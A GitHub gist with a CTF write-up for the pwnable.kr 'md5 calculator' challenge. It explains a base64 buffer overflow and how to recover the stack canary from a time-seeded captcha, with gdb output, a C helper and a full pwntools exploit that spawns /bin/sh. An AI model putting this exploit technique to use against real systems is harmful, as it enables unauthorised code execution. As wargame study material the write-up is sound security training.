Skip to content

Instantly share code, notes, and snippets.

@ihciah
Created February 5, 2016 04:39
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save ihciah/948b37ab7587c3f70268 to your computer and use it in GitHub Desktop.
Save ihciah/948b37ab7587c3f70268 to your computer and use it in GitHub Desktop.
Pwnable.kr md5 calculator writeup

Pwnable.kr md5 calculator writeup

ihciah@gmail.com

In process_hash, the size of input is 1024, the size after b64d is 512, however, it should be 1024*3/4, so there's a buffer overflow here.

Because of the stack canary, we can do nothing. I was confused here until I noticed the canary is also used in my_hash to generate random number. Since the canary is gs:0x14, it's always the same in all function calls.

We can calculate the canary value from the captcha because the seed of randomization is the current time, we can fetch it from http request to http://pwnable.kr.

After trying input b64e("AAAA"*(768/4)) to the program, jump to pass the canary check and break at ret, we can notice that the top of stack is AAAA....

Again we input b64e(string.ascii_uppercase[:24]*(768/24)), we can see:

[-------------------------------------code-------------------------------------]
   0x804908b <process_hash+249>:	pop    ebx
   0x804908c <process_hash+250>:	pop    edi
   0x804908d <process_hash+251>:	pop    ebp
=> 0x804908e <process_hash+252>:	ret    
   0x804908f <main>:	push   ebp
   0x8049090 <main+1>:	mov    ebp,esp
   0x8049092 <main+3>:	and    esp,0xfffffff0
   0x8049095 <main+6>:	sub    esp,0x20
[------------------------------------stack-------------------------------------]
0000| 0xffffdb8c ("ABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGH"...)
0004| 0xffffdb90 ("EFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKL"...)
0008| 0xffffdb94 ("IJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOP"...)
0012| 0xffffdb98 ("MNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRST"...)
0016| 0xffffdb9c ("QRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWX"...)
0020| 0xffffdba0 ("UVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCD"...)
0024| 0xffffdba4 ("ABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGH"...)

Just return to 0x08049187 to do system with parameter in stack.


Break at the stack check and run the program. The time now is 1454513017, and the captcha is -2091140111. Feed these two data into a small program which is used to calculate stack cookie. And we get output 8a120200, just as the same as what we print in gdb.

#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv){
        assert(argc==3);
        int t = atoi(argv[1]);
        int m = atoi(argv[2]);
        srand(t);
        int i=0;
        int rands[8];
        for(i=0;i<=7;i++){
                rands[i]=rand();
        }
        int a = rands[1]+rands[2]-rands[3]+rands[4]+rands[5]-rands[6]+rands[7];
        m -= a;
        printf("%x\n",m);
        return 0;
}

Since the g_buf is in .bss, and PIE is closed, we can simply write /bin/sh\0 at the end of input.

POC:

from pwn import *
import time,os
t=int(time.time())
sh = process('/home/c/ctf/hash')
sh.recvuntil("captcha")
captcha=sh.recvline(timeout=10)
captchapos=captcha.find(' : ')+len(' : ')
captcha=captcha[captchapos:].strip()
sh.sendline(captcha)
print sh.recvline(timeout=1)
print sh.recvline(timeout=1)
print "Calling:","/home/c/ctf/hashc "+str(t)+" "+captcha
cookie = "0x"+os.popen("/home/c/ctf/hashc "+str(t)+" "+captcha).read().strip()
print "cookie:",cookie
sh.sendline(b64e((p32(0x08049187)+p32(720/3*4+0x0804B0E0)+"A"*24+p32(int(cookie,16))+"A"*12)*(720/48))+"/bin/sh\0")
sh.interactive()

I noticed that the time of the server is similar to local, just try some times(However, after trying -180 to 180, I didn't get shell:( I don't know why, maybe the rand() is not the same?).

from pwn import *
import time,os
t=int(time.time())
sh = process('/home/c/ctf/hash')
sh.recvuntil("captcha")
captcha=sh.recvline(timeout=10)
captchapos=captcha.find(' : ')+len(' : ')
captcha=captcha[captchapos:].strip()
sh.sendline(captcha)
print sh.recvline(timeout=1)
print sh.recvline(timeout=1)
print "Calling:","/home/c/ctf/hashc "+str(t)+" "+captcha
cookie = "0x"+os.popen("/home/c/ctf/hashc "+str(t)+" "+captcha).read().strip()
print "cookie:",cookie
sh.sendline(b64e((p32(0x08049187)+p32(720/3*4+0x0804B0E0)+"A"*24+p32(int(cookie,16))+"A"*12)*(720/48))+"/bin/sh\0")
sh.interactive()
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv){
assert(argc==3);
int t = atoi(argv[1]);
int m = atoi(argv[2]);
srand(t);
int i=0;
int rands[8];
for(i=0;i<=7;i++){
rands[i]=rand();
}
int a = rands[1]+rands[2]-rands[3]+rands[4]+rands[5]-rands[6]+rands[7];
m -= a;
printf("%x\n",m);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment